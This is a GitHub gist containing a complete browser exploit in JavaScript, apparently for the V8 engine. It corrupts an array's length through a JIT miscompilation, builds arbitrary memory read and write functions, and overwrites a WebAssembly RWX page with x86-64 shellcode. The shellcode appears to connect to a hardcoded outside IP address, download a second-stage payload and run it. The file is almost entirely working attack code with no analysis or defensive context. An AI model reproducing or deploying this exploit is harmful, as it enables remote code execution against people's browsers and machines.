Created
November 14, 2020 13:50
-
-
Save r4j0x00/b09b8b6bfdec8d35aa4c3ddb9ab346dd to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var buf = new ArrayBuffer(8); | |
var f64_buf = new Float64Array(buf); | |
var u64_buf = new Uint32Array(buf); | |
var arraybuf = new ArrayBuffer(0x13373); | |
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108, 0, 0, 10, 4, 1, 2, 0, 11]); | |
var mod = new WebAssembly.Module(wasm_code); | |
var wasm_instance = new WebAssembly.Instance(mod); | |
var shell = wasm_instance.exports.shell; | |
var obj_array = [1337331,1337332,1337333,1337334,wasm_instance,wasm_instance,1337336,1337337]; | |
var shellcode = new Uint8Array([72, 49, 255, 106, 9, 88, 153, 182, 16, 72, 137, 214, 77, 49, 201, 106, 34, 65, 90, 178, 7, 15, 5, 72, 133, 192, 120, 81, 106, 10, 65, 89, 80, 106, 41, 88, 153, 106, 2, 95, 106, 1, 94, 15, 5, 72, 133, 192, 120, 59, 72, 151, 72, 185, 2, 0, 7, 12, 3, 131, 207, 170, 81, 72, 137, 230, 106, 16, 90, 106, 42, 88, 15, 5, 89, 72, 133, 192, 121, 37, 73, 255, 201, 116, 24, 87, 106, 35, 88, 106, 0, 106, 5, 72, 137, 231, 72, 49, 246, 15, 5, 89, 89, 95, 72, 133, 192, 121, 199, 106, 60, 88, 106, 1, 95, 15, 5, 94, 106, 38, 90, 15, 5, 72, 133, 192, 120, 237, 255, 230]); | |
function ftoi(val) { | |
f64_buf[0] = val; | |
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); | |
} | |
function itof(val) { | |
u64_buf[0] = Number(val & 0xffffffffn); | |
u64_buf[1] = Number(val >> 32n); | |
return f64_buf[0]; | |
} | |
function gc() { | |
for (let i = 0; i < 100; i++) { | |
new ArrayBuffer(0x100000); | |
} | |
} | |
array = Array(0x40000).fill(1.1); | |
args = Array(0x100 - 1).fill(array); | |
args.push(Array(0x40000 - 4).fill(2.2)); | |
giant_array = Array.prototype.concat.apply([], args); | |
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3); | |
length_as_double = | |
new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0]; | |
function trigger(array) { | |
var x = array.length; | |
x -= 67108861; | |
x = Math.max(x, 0); | |
x *= 6; | |
x -= 5; | |
x = Math.max(x, 0); | |
let corrupting_array = [0.1, 0.1]; | |
let corrupted_array = [0.1]; | |
corrupting_array[x] = length_as_double; | |
return [corrupting_array, corrupted_array]; | |
} | |
for (let i = 0; i < 30000; ++i) { | |
trigger(giant_array); | |
} | |
gc(); | |
corrupted_array = trigger(giant_array)[1]; | |
var search_space = [[(0x8040000-8)/8, 0x805b000/8], [(0x805b000)/8, (0x83c1000/8)-1], [0x8400000/8, (0x8701000/8)-1], [0x8740000/8, (0x8ac1000/8)-1], [0x8b00000/8, (0x9101000/8)-1]]; | |
function searchmem(value) | |
{ | |
skip = 0; | |
for(i=0; i<search_space.length; ++i) | |
{ | |
for(j=search_space[i][0];j<search_space[i][1];++j) | |
{ | |
if(((ftoi(corrupted_array[j])) >> 32n) === value || (((ftoi(corrupted_array[j])) & 0xffffffffn) === value)) | |
{ | |
if(skip++ == 2) // Probably the first two are due to the search itself | |
return j; | |
} | |
} | |
} | |
return -1; | |
} | |
function searchmem_full(value) | |
{ | |
for(i=0;i<search_space.length;++i) | |
{ | |
for(j=search_space[i][0];j<search_space[i][1];++j) | |
{ | |
if((ftoi(corrupted_array[j]) === value)) | |
{ | |
if((((ftoi(corrupted_array[j+2]) >> 56n) & 0xffn) == 8n) && (((ftoi(corrupted_array[j+2]) >> 24n) & 0xffn) == 8n)) | |
{ | |
return j; | |
} | |
} | |
} | |
} | |
return -1; | |
} | |
var arraybuf_idx = searchmem(0x13373n); | |
if(arraybuf_idx == -1) | |
{ | |
alert('Failed 1'); | |
throw new Error("Not found"); | |
} | |
document.write("Found arraybuf at idx: " + arraybuf_idx + "<br>"); | |
function arb_read(addr, length) | |
{ | |
var data = []; | |
let u8_arraybuf = new Uint8Array(arraybuf); | |
corrupted_array[arraybuf_idx+1] = itof(addr); | |
for(i=0;i<data.length;++i) | |
data.push(u8_arraybuf[i]); | |
return data; | |
} | |
function arb_write(addr, data) | |
{ | |
corrupted_array[arraybuf_idx+1] = itof(addr); | |
let u8_arraybuf = new Uint8Array(arraybuf); | |
for(i=0;i<data.length;++i) | |
u8_arraybuf[i] = data[i]; | |
} | |
idx = searchmem_full((1337332n << 33n) + (1337331n << 1n)); | |
if (idx == -1) | |
{ | |
alert('Failed 2'); | |
throw new Error("Not found"); | |
} | |
wasm_addr = ftoi(corrupted_array[idx+2]) & 0xffffffffn; | |
document.write("Wasm instance: 0x"+wasm_addr.toString(16) + "<br>"); | |
rwx_idx = Number((wasm_addr-1n+0x68n)/8n); | |
rwx_addr = ftoi(corrupted_array[rwx_idx-1]); | |
if ((wasm_addr & 0xfn) == 5n || (wasm_addr & 0xfn) == 0xdn) | |
{ | |
rwx_addr >>= 32n; | |
rwx_addr += (ftoi(corrupted_array[rwx_idx]) & 0xffffffffn) << 32n; | |
} | |
document.write("rwx addr: 0x"+rwx_addr.toString(16)); | |
arb_write(rwx_addr, shellcode); | |
shell(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment